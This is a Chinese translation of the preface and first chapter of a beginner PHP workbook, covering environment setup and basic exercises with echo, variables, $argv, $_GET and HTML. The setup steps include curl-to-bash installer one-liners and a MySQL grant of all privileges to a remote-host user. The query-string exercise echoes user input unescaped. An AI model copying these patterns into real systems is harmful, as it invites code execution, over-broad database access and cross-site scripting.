PHP-研讨会-全-

PHP 研讨会(全)

原文:zh.annas-archive.org/md5/c54baf6b6cd63a42f77a772a97717117

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

关于

本节简要介绍了本书的涵盖范围,你开始学习所需的技能,以及完成所有包含的活动和练习所需的硬件和软件要求。

关于本书

你已经知道你想要学习 PHP 7,而更智能的学习 PHP 开发的方式是通过实践学习。《PHP 工作坊》 专注于提升你的实践技能,以便你可以开发前沿的、高性能的 Web 应用程序。如果你想要与现有应用程序合作,或者甚至使用 Laravel 这样的 PHP 框架开发自己的副项目,它都是理想的。你将从真实示例中学习,这些示例可以带来真实的结果。

《PHP 工作坊》 中,你将采取引人入胜的逐步方法来理解 PHP 开发。你不必忍受任何不必要的理论。如果你时间紧迫,你可以每天跳入一个练习,或者花一个周末的时间学习第三方库。由你选择。按照你的方式学习,你将建立起并加强关键技能,这种方式会让人感到有成就感。

每一份物理印刷版的 《PHP 工作坊》 都解锁了访问互动版权限。视频详细介绍了所有练习和活动,你将始终有一个指导性的解决方案。你还可以通过评估来衡量自己,跟踪进度,并接收内容更新。完成学习后,你甚至可以赚取一个可以在线分享和验证的安全凭证。这是包含在印刷版中的高级学习体验。要兑换,请遵循 PHP 指南开头的说明。

快速直接,《PHP 工作坊》 是 PHP 初学者的理想伴侣。你将像软件开发者一样构建和迭代你的代码,在学习过程中不断进步。这个过程意味着你会发现你的新技能会牢固地扎根,并作为最佳实践嵌入其中。为未来的几年打下坚实的基础。

关于章节

第一章介绍 PHP,介绍了 PHP 语言,使你能够设置你的第一个开发环境并编写你的第一个 PHP 脚本。

第二章类型和运算符,介绍了 PHP 编程中使用的不同类型。

第三章控制语句,定义了不同分支和循环技术,以及使用不同控制结构和条件与运算符的应用场景。

第四章函数,探讨了函数以及内置函数和自定义函数之间的区别,以及探索回调函数。

第五章面向对象编程,解释了为了拥有坚实的面向对象编程基础,你需要了解的所有内容。你将学习接口、类、命名空间、类实例化、类字段作用域、方法、魔术方法、抽象、继承、对象组合、自动加载等内容。

第六章使用 HTTP,探讨了 HTTP 请求,这对于理解和在实际网络应用程序中使用至关重要。你将熟悉请求类型和 URL 组件,了解万维网上的常见漏洞,并学习如何保护你的应用程序免受利用这些漏洞的攻击。

第七章数据持久性,描述了数据库的利用,包括它们的配置和读写操作。

第八章错误处理,解释了 PHP 中的错误级别和异常,包括它们何时触发、如何触发,以及——非常重要——当它们发生时如何处理。

第九章作曲家,解释了如何使用 Composer 依赖管理工具以及如何将依赖自动加载到 PHP 脚本中。

第十章网络服务,定义了通过交换数据在不同平台之间进行通信的方式。

习惯用法

文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 昵称如下所示:

"echo 构造是向屏幕打印的一种方式。"

你在屏幕上看到的单词,例如在菜单或对话框中,也以这种方式出现在文本中:"打开 Insomnia 并点击新建请求按钮。"

代码块设置如下:

<?php
$language = "PHP";
$version = 7.3;
echo $language;
echo $version;
?>

新术语和重要词汇如下所示:"欢迎使用超文本预处理器PHP)的世界。"

长代码片段被截断,GitHub 上相应代码文件的名称放置在截断代码的顶部。整个代码的永久链接放置在代码片段下方。它应该看起来如下:

Example1.01.php
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4     <meta charset="UTF-8">
5     <meta name="viewport" content="width=device-width, initial-scale=1.0">
6     <meta http-equiv="X-UA-Compatible" content="ie=edge">
7    <title>My First PHP Page</title>
8 </head>
https://packt.live/326OLKU

在开始之前

每次伟大的旅程都是从一小步开始的。我们即将在 PHP 领域的冒险也不例外。在我们能够用数据做些酷的事情之前,我们需要准备好一个高效的环境。在本节中,我们将看到如何做到这一点。

在 Ubuntu 上安装 PHP 7.3

本书中的所有练习都是在 Linux Ubuntu 18.10 上使用 PHP 7.3 运行的。由于 PHP 是跨平台的,你可以在 Windows 版本 7+(需要 Visual Studio 2015)和 macOS 上使用它。

Ubuntu 18.04 LTS 默认安装 PHP 7.2,因此为了安装最新的稳定 PHP 版本,你应该从源代码编译或在你的机器上安装预编译的包。从可信来源安装预编译的包通常更受欢迎,因为安装时间比从源代码编译的时间要低得多。在你的终端中运行以下命令(一次一行,需要超级用户权限):

apt-get update
apt-get install -y software-properties-common
LC_ALL=C.UTF-8 add-apt-repository -y ppa:ondrej/php
apt-get update
apt-get install -y php7.3-common php7.3-curl php7.3-mbstring php7.3-mysql

在 Mac OS X 上安装 PHP 7.3

可以使用 Liip 的 php-osx 工具轻松安装 PHP 7.3:

curl -s https://php-osx.liip.ch/install.sh | bash -s 7.3

或者,如果你更喜欢使用 Homebrew:

brew install php@7.3

注意

要安装 Homebrew,只需运行/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

在 Windows 上安装 PHP 7.3

在 Windows 系统上安装 PHP 7.3 的步骤如下:

  1. https://windows.php.net/download/下载最新的 PHP 7(非线程安全版本)ZIP 文件:图 0.1:下载 PHP 7

    图 0.1:下载 PHP 7

  2. 将 ZIP 文件的内容提取到C:\PHP7中。

  3. C:\PHP7\php.ini-development文件复制到C:\PHP7\php.ini

  4. 在文本编辑器中打开新复制的C:\PHP7\php.ini文件,例如 Notepad++、Atom 或 Sublime Text。

  5. memory_limit128M更改为1G(以允许 Composer 的内存需求)。

  6. 搜索extension_dir并取消注释该行(移除前面的分号,使该行看起来像extension_dir = "ext")。

  7. 要将C:\PHP7添加到 Windows 10 的系统路径环境变量中,请打开控制面板并点击查看高级系统设置图 0.2:检查高级系统设置

    图 0.2:检查高级系统设置

  8. 点击环境变量...按钮:图 0.3:检查环境变量

    图 0.3:检查环境变量

  9. 系统变量下的路径行上点击,然后点击编辑...图 0.4:编辑变量

    图 0.4:编辑变量

  10. 点击新建并添加C:\PHP7行:图 0.5:添加新行

    图 0.5:添加新行

    点击到目前为止所有打开窗口的确定并关闭控制面板。

  11. 在命令提示符(PowerShell 或另一个终端)中,通过输入php -v来测试安装是否成功:

图 0.6:测试安装

图 0.6:测试安装

在 Ubuntu 上安装 MySQL 5.7

要在您的系统上安装 MySQL 5.7,请在您的终端中运行以下命令:

apt-get update
apt-get install -y mysql-server

以 sudo 使用 root 访问 MySQL

要以 root 用户访问 MySQL,请在您的终端中运行以下命令:

sudo mysql --user=root

创建测试用户

要创建测试用户,请在 MySQL 终端中运行以下命令:

create user 'php-user'@'%' identified by 'php-pass';

在测试用户上授予所有权限

要授予测试用户所有权限,请在您的终端中运行以下命令:

grant all on *.* to 'php-user'@'%';
flush privileges;

在生产环境中,您会仔细选择应用程序所需的权限,尽可能限制权限的范围。有关 MySQL 服务器上权限的更多信息,请访问 https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html。

在 Ubuntu 上安装 MySQL Workbench

打开软件管理器,搜索 MySQL Workbench,然后点击安装按钮。

在 Mac OS 上安装 MySQL 5.7

要使用 Homebrew 安装 MySQL 5.7,请在您的终端中运行以下命令:

brew install mysql@5.7

使 MySQL 始终作为服务运行:

brew services start mysql@5.7

重复上述 Linux 安装中的“以 root 用户访问 MySQL”、“创建测试用户”和“在测试用户上授予所有权限”步骤,以添加测试用户。

在 Mac OS 上安装 MySQL Workbench

这里是在 Mac OS 上安装 MySQL Workbench 的步骤:

  1. 访问 https://dev.mysql.com/downloads/workbench/。

  2. 选择您的操作系统(macOS)并下载 DMG 文件。对于较旧的 Mac OS 版本,请考虑点击右侧框中的 "寻找最新 GA 版本?"。

  3. 双击下载的文件。您将看到以下图中所示的安装窗口:![图 0.7 MySQL Workbench macOS 安装窗口 图 C14196_00_07.jpg

    图 0.7 MySQL Workbench macOS 安装窗口

  4. 按照说明将 MySQL Workbench 图标拖放到应用程序图标上。MySQL Workbench 现已安装,您可以从应用程序文件夹中启动它。

安装 MySQL 5.7(Windows)

按以下步骤在 Windows 上安装 MySQL 5.7:

  1. 访问 https://dev.mysql.com/downloads/installer/。

  2. 点击以下下载框中的 寻找以前的 GA 版本? 链接:![图 0.8:MySQL 安装程序 图 C14196_00_08.jpg

    图 0.8:MySQL 安装程序

  3. 选择 Windows 的最新 5.7 版本并点击 下载 按钮:![图 0.9:下载适当的版本 图 C14196_00_09.jpg

    图 0.9:下载适当的版本

  4. 运行下载的文件以安装 MySQL Workbench。

  5. 选择 开发者默认(包括 MySQL Workbench)并点击 下一步:![图 0.10:选择适当的设置类型 图 C14196_00_10.jpg

    图 0.10:选择适当的设置类型

  6. 点击 执行 以安装依赖项,然后点击 下一步

  7. 点击 执行 以开始下载并安装所选组件(如果下载或安装失败,请点击 重试):![图 0.11:安装所选组件 图 Image64075.jpg

    图 0.11:安装所选组件

  8. 点击 下一步完成,直到出现 MySQL 配置窗口 账户和角色 提示;输入 root 用户密码。

  9. 点击 添加用户 按钮,输入 php_user 作为用户名,php-pass 作为密码(与之前创建用户时输入的详细信息相同),然后点击 确定:![图 0.12:输入凭据 图 C14196_00_12.jpg

    图 0.12:输入凭据

    注意

    对于 Windows 操作系统,代码片段中的数据库用户名 php-user第七章数据持久性 需要替换为 php_user。这是因为 MySQL 的 Windows 安装程序不允许用户名中包含连字符。

  10. 点击 下一步执行,直到安装过程完成。

安装 Composer

要在 Ubuntu 或 Mac 上安装 Composer,您需要访问 https://getcomposer.org/download/ 并运行给定链接中 命令行安装 部分下的四个 PHP 命令。命令中包含一个加密代码,用于安全目的验证下载。例如,在撰写本文时,命令如下(请确保使用为您生成的哈希值,而不是下面的一个):![图 0.8:MySQL 安装程序

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === '48e3236262b34d30969dca3c37281b3b4bbe3221bda826ac6a9a62d6444cdb0dcd061569
8a5cbe587c3f0fe57a54d8f5') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"

在 Windows 上,您可以直接从 https://getcomposer.org/Composer-Setup.exe 下载安装程序文件。

安装 Insomnia REST 客户端

浏览到 https://insomnia.rest/download/ 并下载适合您操作系统的安装文件。打开安装程序,通过选择默认选项完成安装向导。

如果您更喜欢命令行,可以使用 sudo snap install insomnia 命令在 Ubuntu 上安装客户端,或者对于 macOS 使用 brew cask install insomnia

安装代码包

从 GitHub 下载代码文件至 https://github.com/PacktWorkshops/The-PHP-Workshop,并将它们放置在一个名为 C:\Code 的新文件夹中。请参考这些代码文件以获取完整的代码包。

如果您在安装过程中遇到任何问题或疑问,请通过电子邮件发送给我们 workshops@packt.com

第一章:1. 介绍 PHP

概述

到本章结束时,你将能够使用 PHP 的内置模板引擎;编写简单的 HTML 文件;从命令行运行 PHP 脚本;创建变量并分配给它们,以便在网页浏览器上打印简单的消息;并在你的机器上运行 PHP 的内置 Web 服务器。

简介

欢迎来到 超文本预处理器PHP)的世界。PHP 是一种流行的编程语言,它被广泛应用于互联网上创建网页/网站和应用程序。一个网页是一个单独的页面,而多个网页组合在一起通常被称为网站或网络应用程序。PHP 为 Facebook、Wikipedia 和 WordPress 等网站提供动力。

PHP 是作为一种脚本语言被创建的,以允许丰富的动态内容(内容可以来自其他 PHP 页面,或者本质上是动态的,并来自外部来源,如数据库)。PHP 是一种解释型语言,这意味着你不需要编译它并创建一个可执行文件。相反,PHP 文件是由运行 PHP 的 Web 服务器逐行解释的。

编译型语言在每次更改后不能直接运行。相反,它们需要一个解释器将代码编译成一个可执行程序。而另一方面,解释型语言在代码有变化时可以立即重新加载,这使得变化可以快速看到。

PHP 与 HTML、JavaScript 和 CSS 一起使用来创建动态网络应用程序。由于 PHP 容易学习,因此在全球范围内拥有庞大的开发者社区。这导致越来越多的开发者发布开源项目、框架和资源。例如,PHP 框架互操作性小组(PHP Framework Interop Group),也称为 PHP-FIG,(packt.live/2oJ0FvY) 制定了一系列标准建议,大多数开发者都使用这些建议来编写他们的代码。GitHub 存储了许多开源项目,供他人使用,并且像 packt.live/2oaK3gt 这样的网站上有许多关于网络开发的视频。

开始学习 PHP 网络开发

PHP 是一种服务器端脚本语言。服务器端脚本是一种网络服务器可以通过 HTTP 响应客户端请求的方式。其工作方式是,客户端(浏览器)请求一个 URL。然后,这个请求由 Web 服务器发送到脚本。脚本随后读取这个请求,并根据脚本中的代码返回页面的内容。

每次访问网页时都会发生这个过程。当处理表单时,数据从客户端发送到服务器。数据被处理并返回响应。一个常见的例子是在 Facebook 上,你输入状态更新并按下Enter键。文本将通过POST请求发送到服务器,由服务器上的脚本进行检查,然后保存到数据库中。然后网页会更新为新帖子。PHP 网站也可以是 API 服务,这些服务可能由 JavaScript 脚本(例如 AJAX 调用)或其他服务调用。在这些和类似的情况下,没有浏览器请求的参与。

以下工具是 Web 开发所需的:

  • 浏览器,如 Google Chrome、Firefox 或 Microsoft Edge。

  • 需要使用像 Microsoft Visual Studio Code 这样的文本编辑器,或者像 PHP Storm 这样的集成开发环境IDE)。

  • 可以使用运行 PHP 的 Apache 或 NGINX 服务器,以及 PHP 的内置服务器。

内置模板引擎

PHP 是为了编写 Web 应用程序而创建的。它可以与 HTML 一起编写以创建动态页面。我们将在稍后看到这方面的例子。

PHP 模板引擎是一种允许 PHP 代码与 HTML 内容一起输出的方式。这为页面提供了灵活性。任何打算使用 PHP 代码的页面都有一个.php 扩展名而不是.html 扩展名。这通知 Web 服务器预期 PHP 内容。

PHP 文件有一个.php 扩展名,它可以包含 HTML、JavaScript 和 CSS,以及 PHP。由于 PHP 解释器需要知道代码在 PHP 文件中的位置,因此 PHP 代码被写入两个特殊标签之间(<?php...?>)。这些标签被称为开标签和闭标签。一个典型的 PHP 文件看起来像这样:

Example1.01.php
1  <!DOCTYPE html>
2  <html lang="en">
3  <head>
4      <meta charset="UTF-8">
5      <meta name="viewport" content="width=device-width, initial-scale=1.0">
6      <meta http-equiv="X-UA-Compatible" content="ie=edge">
7     <title>My First PHP Page</title>
8  </head>
9  <body>
10     <div>
11         <h1>The Heading</h1>
12         <p>
13             <?php
14             // your php code goes here 
15             ?>
https://packt.live/326OLKU

这个页面以 HTML 声明文档类型开始,告诉浏览器预期 HTML 内容,然后是 meta 标签,告诉浏览器预期 UTF-8 内容,以及一个 meta 标签来使用最新的渲染引擎和缩放级别。

注意

HTML 将在本章的后面详细讲解。

或者,PHP 中也有可用的短开标签,但默认情况下是关闭的。这可以通过在 Apache 中使用时编辑.phpini配置文件来更改(这超出了本介绍的范畴)。短代码看起来像这样:

<?
// php code here
?>

简而言之,开标签和闭标签通知 PHP 解释器何时开始和停止逐行解释 PHP 代码。

由于 PHP 是一个有用的 Web 开发工具,你将经常在浏览器中工作。然而,你还需要熟悉交互式 shell。

交互式 Shell 中的 PHP

交互式 shell 有几个不同的名称。在 Windows 上,它们被称为命令提示符。在 Linux/Mac 上,Terminal 是允许向 shell 发出命令并由 shell 理解和由 PHP 拾取的计算机应用程序的名称。

交互式 shell 允许 PHP 脚本在没有浏览器的情况下运行。这是在服务器上通常执行脚本的方式。

练习 1.1:将 Hello World 打印到标准输出

在这个练习中,我们将使用交互式 shell 打印一个简单的语句。交互式 shell 可以用来执行 PHP 代码和/或脚本。在我们开始之前,请确保你已经遵循了前言中的安装步骤。按照以下步骤完成练习:

  1. 在你的机器上打开一个 Terminal/命令提示符。

  2. 输入以下命令以启动 PHP 的交互式 shell 并按 Enter 键:

    php -a
    

    你将获得以下输出:

    ![Figure 1.1:开始使用交互式 shell

    ![img/C14196_01_01.jpg]

    图 1.1:开始使用交互式 shell

    交互式 shell 将出现在提示符上,并变为 php >。现在,你已经进入了 PHP 的交互式 shell,可以运行 PHP 代码和执行脚本。我们将在接下来的练习中探索更多的交互式 shell。

  3. 输入以下命令:

    echo "Hello World!";
    

    我们很快就会解释 echo 的含义。一旦你按下 Enter 键,你将在 shell 上看到打印出的 Hello World!,如下面的屏幕截图所示:

![Figure 1.2:将输出打印到控制台

![img/C14196_01_02.jpg]

图 1.2:将输出打印到控制台

恭喜!你已经执行了你的第一个 PHP 代码。

echo 是一个 PHP 构造,可以打印传递给它的任何内容。在练习中,我们传递了 Hello World!。由于 Hello World! 是一个字符串,所以我们用双引号将其包围。你可以使用 echo 来打印字符串、变量和其他内容。

echo 构造是打印到屏幕的一种方式。另一种方式是使用 print('Hello world!')。虽然这会显示传递给它的字符串,但 echoprint 之间的主要区别在于 print 只接受单个参数。

此外,还有一些函数可以查看变量内部的内容,例如 print_r($item)。这将输出传递给函数的任何变量的值。这不应该用来在屏幕上显示消息,而应该在你需要知道变量内容时使用。

这里需要注意的一个重要事项是行尾的分号。在 PHP 中,每个语句的末尾都必须有分号。如果语句不以分号结束,PHP 将抛出错误。

到目前为止,你应该已经明白了我们可以在交互式 shell 中执行基本语句。我们将在本章后面尝试更多此类操作。我们可以在 PHP 脚本中执行的所有函数都可以在交互式 shell 中执行。

现在,我们将运行一个 PHP 文件来输出 Hello World,而不是直接使用 shell 编码。

练习 1.2:通过执行 PHP 文件打印 Hello World

到目前为止,你已经学会了如何使用 echo 语句。现在,让我们继续创建你的第一个 PHP 脚本。我们将打印与之前相同的语句,但这次我们将使用一个 PHP 文件。按照以下步骤操作:

  1. 在你的机器上创建一个名为 book 的文件夹。在其内部创建另一个名为 chapter1 的文件夹。建议你在后续章节中也遵循这种方法。

  2. chapter1 文件夹内创建一个名为 hello.php 的文件。

  3. 使用代码编辑器(如 Visual Studio Code 或 Sublime Text)打开 hello.php 文件。

  4. hello.php 中编写以下代码并保存:

    <?php
    echo "Hello World!";
    ?>
    
  5. 现在,打开终端并切换到 chapter1 文件夹。使用 cd 命令后跟文件夹名称来进入该文件夹。要返回上一级文件夹,使用 ../

  6. 在命令提示符中运行以下命令:

    php hello.php
    

    你将在屏幕上看到打印出 Hello World!,就像以下截图所示:

图 1.3:将输出打印到终端

图 1.3:将输出打印到终端

图 1.3:将输出打印到终端

首先,我们有 PHP 的开标签。PHP 解释器将在其后逐行处理代码。这里我们只有一条代码,即 echo 语句,我们将 Hello World! 字符串传递给它。PHP 解释器处理它,然后这个字符串被打印在终端上。

所有的 PHP 文件都将这样编写。一些可能包含 HTML 和其他代码,而一些可能不包含。还要记住,一个文件中可以有多个开标签和闭标签。这些可以放在文件的任何位置。

因此,你已经学会了如何使用交互式外壳以及如何使用 echo 语句打印简单的字符串。现在我们将学习如何在 PHP 中创建和使用变量。

赋值和使用变量

就像任何其他编程语言一样,PHP 中的变量用于存储数据。一个关键的区别是 PHP 中所有的变量名都必须以美元符号 $ 开头。

变量必须以字母开头。它们不能以数字或符号开头,但可以包含数字和符号。

存储在变量中的数据可以是以下类型:

  • 整数 - 整数

  • 布尔值 - 真或假

  • 浮点数 - 浮点数

  • 字符串 - 字母和数字

存储在变量中的数据称为变量的值。

在网页浏览器中创建和分配变量以打印简单消息

考虑以下示例,我们在其中将值赋给变量:

<?php
$movieName = "Avengers: Endgame";
?>

在这里,创建了一个名为 $movieName 的变量,其值为字符串 "Avengers: Endgame"。由于值是字符串,因此需要用双引号或单引号包围它。= 被称为赋值运算符。代码基本上可以翻译为以下内容:将赋值运算符右侧的值赋给左侧的变量

这里有一些创建变量的更多示例:

<?php
$language = "PHP";
$version = 7.3;
echo $language;
echo $version;
?>

如果运行前面的脚本,你将看到打印出 PHP7.3。之前,我们直接使用 echo 语句打印值,但现在我们将值赋给变量。值现在存储在变量中。另一件需要注意的事情是,由于 7.3 是一个数字,因此不需要引号。

假设您在一页上写下了 50 次“PHP”。如果您必须将其更改为“JavaScript”,您必须替换所有 50 个地方。但如果相同的文本“PHP”被分配给一个变量,您只需更改一次,更改将在所有地方反映出来。

在创建变量时必须遵循一些规则:

  • PHP 中的所有变量名都应以$开头。

  • 变量名不能以数字开头。它必须是一个字母或下划线。例如,$1name$@name不是有效的变量名。

  • 变量名中只允许使用 A-z、0-9 和 _。

  • 变量名是区分大小写的;例如,$name$NAME是不同的。

变量名必须经过深思熟虑的选择。它们应该对阅读代码的他人有意义。例如,在一个应用程序中,如果您必须创建一个存储用户银行余额的变量,变量名如$customerBalance$xyz更明显。

与 Java 和.NET 等语言不同,PHP 在使用变量之前不需要声明。这意味着您可以在需要时创建变量,尽管在可能的情况下在脚本顶部定义变量被认为是最佳实践,以便清楚地表明其意图。

PHP 还有被称为预定义变量的东西。这些是由 PHP 提供的,任何人都可以使用。

其中一个变量是$argv。这是一个通过终端传递给脚本的参数列表。您不必单独执行脚本,而是可以向脚本传递值,这些值将可用于$argv变量。

练习 1.3:使用输入变量打印简单字符串

在这个练习中,我们将修改上一个练习中的脚本并使用输入变量来打印字符串。按照以下步骤操作:

  1. 使用您喜欢的代码编辑器重新打开hello.php文件。

  2. 将代码替换为以下代码并保存文件:

    <?php
    $name = $argv[1];
    echo "Hello ". $name
    ?>
    

    目前不必担心语法。

  3. 现在,转到chapter1文件夹内的终端。

  4. 运行以下命令:

    php hello.php packt
    

    您将在终端看到以下输出:

图 1.4:将输出打印到控制台

图 1.4:将输出打印到控制台

发生了什么?hello.php脚本打印了传递给它的值。让我们看看它是如何工作的。

您通过命令行传递了值packt。这被称为传递参数。您可以通过空格分隔多个参数并将它们发送,这些参数都将对 PHP 脚本可用。但如何做到这一点?

现在是$argv的时候了。$argv是一个预定义变量,一旦执行脚本,它就会被填充使用传递的值。它是在终端上php关键字之后的值列表。如果没有传递参数,列表中只包含文件名。在我们的例子中,列表将有两个值:hello.phppackt

回到脚本,在代码的第一行,我们正在给 $name 变量赋值。这个值是什么?$argv 是一个包含两个值的数组(关于这一点将在后面的章节中详细介绍,但基本上,数组是一系列的项)。对于数组,计数从 0 开始而不是 1。因此,$argv 中的第一个值是 hello.php,可以使用 $argv[0] 取出。我们需要第二个值(必须是字符变量),因此我们使用了 $argv[1]。现在,传递给文件的 packt 参数被存储在 $name 变量中。

在第二行,我们正在将文本 Hello$name 变量连接起来。点操作符 (.) 用于连接多个值。连接后,字符串变为 Hello packt,然后通过 echo 语句打印出来。

注意

您可以在 packt.live/2nYJCWN 上了解更多预定义变量及其用法。

您可以使用单引号或双引号来表示字符串。然而,它们之间有区别。您可以在双引号字符串中使用变量,并且它们将被解析。我的意思是变量的值将被执行,而不仅仅是显示变量的名称。另一方面,单引号不会进行任何额外的解析,并将引号之间的内容按原样显示。因此,单引号稍微快一些,建议使用它们。

在最后一个练习中,我们看到了如何使用预定义的 $argv 变量。在这个练习中,我们将使用另一个预定义变量 $_GET。这允许信息传递到地址栏,PHP 可以读取它。它们被称为查询字符串

查询字符串是由 ? 分隔的键值对。例如,?a=1&b=2 也是一个有效的查询字符串。

练习 1.4:使用内置服务器打印字符串

在这个练习中,我们将使用内置服务器通过 companyName=Packt 查询字符串打印 Hello Packt。这将允许您开始使用浏览器查看代码的输出,而不仅仅是使用交互式 shell。按照以下步骤操作:

  1. 使用您喜欢的代码编辑器重新打开 hello.php 文件。

  2. 将代码替换为以下代码并保存文件:

    <?php
    $name = $_GET['companyName'];
    echo "Hello ". $name;
    ?>
    
  3. 前往终端并进入 chapter1 文件夹。

  4. 运行以下命令以运行 PHP 的内置 web 服务器:

    php -S localhost:8085
    
  5. 现在,打开浏览器并在地址栏中输入以下内容并按 Enter

    http://localhost:8085/hello.php?companyName=Packt
    

    您将在屏幕上看到以下输出:

图 1.5:将输出打印到浏览器

图 1.5:将输出打印到浏览器

这与之前的练习有些类似,但不是使用终端,而是使用了浏览器。

注意浏览器中的 URL。在文件名之后,我们附加了 ?companyName=Packt? 表示其后的内容是查询字符串。在我们的代码中,有一个名为 companyName 的变量,其值为 Packt,正被传递到 PHP 文件中。

现在我们来看代码,在第一行,我们有$_GET['companyName']$_GET也是一个预定义变量,当执行任何带有查询字符串的 PHP 字符串时,它会被填充。所以,通过使用$_GET['companyName'],我们将得到Packt这个值,它将被存储在$name变量中。记住,你可以使用相应的键从查询字符串中提取任何值。

下一行将它们组合并在浏览器上显示结果。

现在我们已经开始使用浏览器来查看我们工作的输出,让我们快速看一下 HTML。如前所述,PHP 和 HTML 经常一起使用,因此当你对 PHP 更加熟悉时,理解 HTML 将非常有用。

超文本标记语言

超文本标记语言HTML)是一种通过标签和属性以分层方式定义其含义的语言。它用于创建诸如万维网上的网页之类的文档,这些文档通常在网页浏览器中显示。它们可以包括文本、链接、图片,甚至声音和视频。

HTML 使用不同的标签和属性来定义网页文档的布局,如表单。

标签是一个由<>包围的 HTML 元素,例如<body><p><br>。它由一个开标签和一个结束标签组成,中间是内容。例如,考虑以下 HTML 行:

<p>A paragraph</p>

开标签是<p>,闭标签是</p>,内容是“一个段落”。

HTML 元素的属性提供了有关该元素的其他信息,并由其名称和值描述,具有以下语法:name[="value"]。指定值是可选的。例如,以下超链接有一个名为href的属性,其值为/home

<a href="/home">Home</a>

任何 HTML 文档都需要文档类型声明<!DOCTYPE html><title>标签,如下所示:

<!DOCTYPE html><title>The document title</title>

有许多开发者用来创建 HTML 文档结构的可选标签列表,包括<html><head><body><html>标签是 HTML 文档的根标签,它紧接在文档类型声明之后放置。它将包含其他两个可选标签:<head><body><head>标签用于页面元数据,包括描述文档中使用的编码字符集的<meta>标签,例如,它包括<title>标签和外部资源,如样式、字体和脚本。<body>块用于在浏览器窗口中渲染其内容,并包括最多种类的 HTML 标签。

上述 HTML 标签可以在任何 HTML 文档中看到。

这里是一个最常用标签的列表:

  • <div>:这个标签定义了 HTML 文档中的一个部分。它通常用作其他 HTML 元素的包装元素。

  • <h1><h6>:标题标签用于定义 HTML 文档的标题。<h1>定义最重要的标题(它们也使用最大的字体大小),而<h6>定义最不重要的标题。它们可以在 HTML 文档的任何位置使用。

  • <p>:段落标签用于在 HTML 文档中定义段落内容。

  • <em>:强调标签用于强调文本。

  • <b>和/或<strong>:粗体标签用于指定粗体内容。

  • <a href="...">链接名称</a>:锚标签用于将一个页面链接到另一个页面。

  • <ul><li>:无序列表和列表项标签用于无序列出内容(如项目符号列表)。

  • <ol>:此标签用于表示编号列表

  • <br>:换行标签用于换行。

  • <img>:图像标签用于向 HTML 文档添加图像元素。

  • <hr>:水平线标签用于在 HTML 文档中显示水平线。

  • <table>:表格标签用于在 HTML 文档中创建表格。

  • <tr>:表格行标签用于在 HTML 表格中定义行。

  • <th>:表格标题单元格标签定义了表格中的标题单元格。

  • <td>:表格数据单元格标签定义了表格中的标准单元格。

  • <form>:表单标签用于创建 HTML 表单。

  • <input>:输入标签用于收集和提交用户数据(例如浏览器中的表单)。

  • <select><option>:选择输入标签用于从下拉列表中选择选项值。

  • <label>:标签标签打印表单输入的标签。

考虑以下 HTML 块:

<!DOCTYPE html>
<html lang="en">
<head> 
    <meta charset="utf-8">
    <title>HTML Document Title</title>
</head>
<body>
<h1>Heading Text</h1>
<p>A paragraph</p>
<form method="post">
    <input type="text" name="domain">
    <input type="submit" value="Send">
</form>
</body>
</html>

让我们看看这个块中的 HTML 元素:

  • <!DOCTYPE html> 声明文档类型为 HTML5。

  • <html lang="en"> 是 HTML 文档根元素的打开标签。lang属性指向文档内容语言。

  • <head> 打开元数据块。

  • <meta charset="utf-8"> 声明 HTML 文档中使用的字符集。

  • <title>HTML Document Title</title> 设置标题为HTML Document Title

  • <body> 打开 HTML 文档内容块。

  • <h1>标题文本</h1> 添加一个标题文本标题。

  • <p>一个段落</p> 添加一个包含文本一个段落的段落。

  • <form method="post"> 打开表单块,声明将用于发送其数据的提交方法(关于这一点,请参阅第六章使用 HTTP)。

  • <input type="text" name="domain"> 添加一个名为domain的文本输入字段。domain值是输入类型的名称。

  • <input type="submit" value="Send"> 添加一个带有Send的提交按钮。

  • </form></head></body></html><form><head><body><html>标签的关闭标签。

上述代码将渲染以下网页:

图 1.6:网页布局

图 1.6:网页布局

我们可以使用GET请求访问文件。提交表单将导致POST请求:

图 1.7:使用的方法

图 1.7:使用的方法

请求类型和表单数据提交将在 第六章使用 HTTP 中介绍。

层叠样式表

层叠样式表CSS)是定义网页样式的语言。可以使用 CSS 改变颜色、字体等。虽然 HTML 描述了网页的结构,但 CSS 描述了网页在各种设备和屏幕类型上的外观。

现在,使用 CSS 框架非常普遍,因为它包含一些预设,使网页在不同浏览器之间兼容,并提供了一系列工具,如网格系统,使页面布局的创建更容易,并实现响应式。

这样的框架之一是 Bootstrap,使用它就像在 HTML 文档中包含生成的和压缩的 CSS 文件一样简单:

<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet">

在原始 HTML 文档中包含 CSS 文件将使浏览器以略微不同的方式渲染页面:

图 1.8:渲染网页

图 1.8:渲染网页

如您所见,字体不同,但没有其他重大变化可见。这是因为链接文件的 CSS 规则没有匹配任何要装饰的元素。Bootstrap 文档(packt.live/2N1LHJU)展示了它的能力。通常,类属性用于匹配目标 HTML 元素。因此,通过简单地将 class="btn btn-primary" 添加到提交输入,我们将得到根据定义的样式格式化的按钮:

图 1.9:向按钮添加 CSS

图 1.9:向按钮添加 CSS

我们不需要定义单个 CSS 规则。按钮是根据 Bootstrap 框架中已定义的规则渲染的。如果我们通过开发者工具(Chrome)检查提交的输入样式,我们将看到以下应用于 HTML 元素的级联:

图 1.10:在开发者工具中检查提交输入样式

图 1.10:在开发者工具中检查提交输入样式

当然,我们可以创建一个额外的 CSS 文件并将其链接到 HTML 文档,覆盖一些 Bootstrap 声明。

练习 1.5:使用 Bootstrap 创建登录表单页面

您需要使用 Bootstrap 框架创建一个简单的登录页面。按照以下步骤操作:

  1. 创建一个名为 login-form.html 的文件。

  2. 声明文档类型为 HTML5 并打开根 HTML 元素:

    <!DOCTYPE html>
    <html lang="en">
    
  3. 添加包含页面标题、Bootstrap CSS 框架链接和 CSS 框架所需的 meta 标签的 head 块:

    <head>
        <title>Login form</title>
        <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/      bootstrap.min.css" rel="stylesheet">
